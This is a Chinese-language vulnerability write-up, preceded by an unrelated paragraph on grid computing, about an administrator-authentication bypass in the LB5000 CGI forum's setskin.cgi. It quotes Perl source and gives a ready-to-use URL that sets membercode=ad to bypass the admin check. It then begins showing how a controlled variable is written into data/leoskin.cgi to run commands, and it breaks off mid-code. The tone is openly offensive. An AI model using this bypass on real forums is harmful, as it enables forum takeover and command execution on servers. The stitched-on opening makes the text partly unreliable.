网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
>>>Dedicated This Scrap To CaoJing<<<
涉及版本:
LB5000XP所有版本,低于LB5000MX1.90(1.90已修复)所有版本
描述:
LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于setskin.cgi存在管理员验证可绕开漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令
具体:
LB论坛管理菜单中有个“管理区插件设定“的特殊功能,我们来看看它是如何对管理员进行验证的:
----------------------------------------------
62 $inmembername = cookie("adminname");
63 $inpassword = cookie("adminpass");
...
68 &getmember("$inmembername");
69
70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
...
----------------------------------------------
其中getmember()是提取用户资料的一个函数,如果$inmembername用户存在它将返回此用户的密码、等级等信息,但要是这个用户不存在呢?呵呵,这下可就坏了,我们还是先来看看getmember()函数的相关部分:
----------------------------------------------
sub getmember {
my $nametocheck = shift;
...
my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi";
...
if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用户存在就提取
...#省略大量提取用户信息的代码
}
else { $userregistered = "no"; }#如果不存在,仅仅返回这个
}
----------------------------------------------
显然当我们直接请求setskin.cgi文件的时候$inmembername为空,也就是说&getmember("$inmembername")这行只会返回个$userregistered = "no";但setskin.cgi文件中$userregistered连影都没有,嘿嘿,问题出来了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虚设“!!我们现在回过头看第70行的验证代码:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已经搞定了,因为它们都为空嘛;只有($membercode eq "ad")尚待搞定,要这是PHP程序你肯定会脱口而出我们直接指定“membercode=ad”啊!要命的是在这里你同样可以这样做,因为可爱的LB在setskin.cgi的开头有这么几行:
----------------------------------------------
@params = $query->param;
foreach (@params) {
$theparam = $query->param($_);
$theparam =~ s/\@/\\\@/g;
$theparam =~ s/\$/\\\$/g;
$theparam = &unHTML("$theparam");
${$_} = $theparam;
----------------------------------------------
哈哈,爽吧,还等什么,直接提交如下URL进入:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
...恩,请小声点,并没有结束,相反,攻击才开始。
上面这个是次要的,我们做不了什么,但我们绕开了验证,接下来的代码才有味道呢!
----------------------------------------------
73 if ($action eq "process") {
74
75
76 $printme .= "1\;\n";
77
78 $filetomake = "$lbdir" . "data/leoskin.cgi";
79
80 open(FILE,">$filetomake");
81 flock(FILE,2) if ($OS_USED eq "Unix");
82 print FILE "$printme";
83 close(FILE);
----------------------------------------------
同样,这里的$printme也是我们手中控制的变量,可向data/leoskin.cgi覆盖式的写入东西,太好了,可写什么呢?要知道写这次会覆盖上一次写的,它可没耐心让你一行一行,而且,它还处理了一批有用字符:
----------------------------------------------
52 $theparam =~ s/\@/\\\@/g;
53 $theparam =~ s/\$/\\\$/g;
54 $theparam = &unHTML("$theparam");
...
sub unHTML {
my $text = shift;
$text =~ s/<!--(.
关键词:LB5K论坛setskin.cgi存在管理员验证可绕开漏洞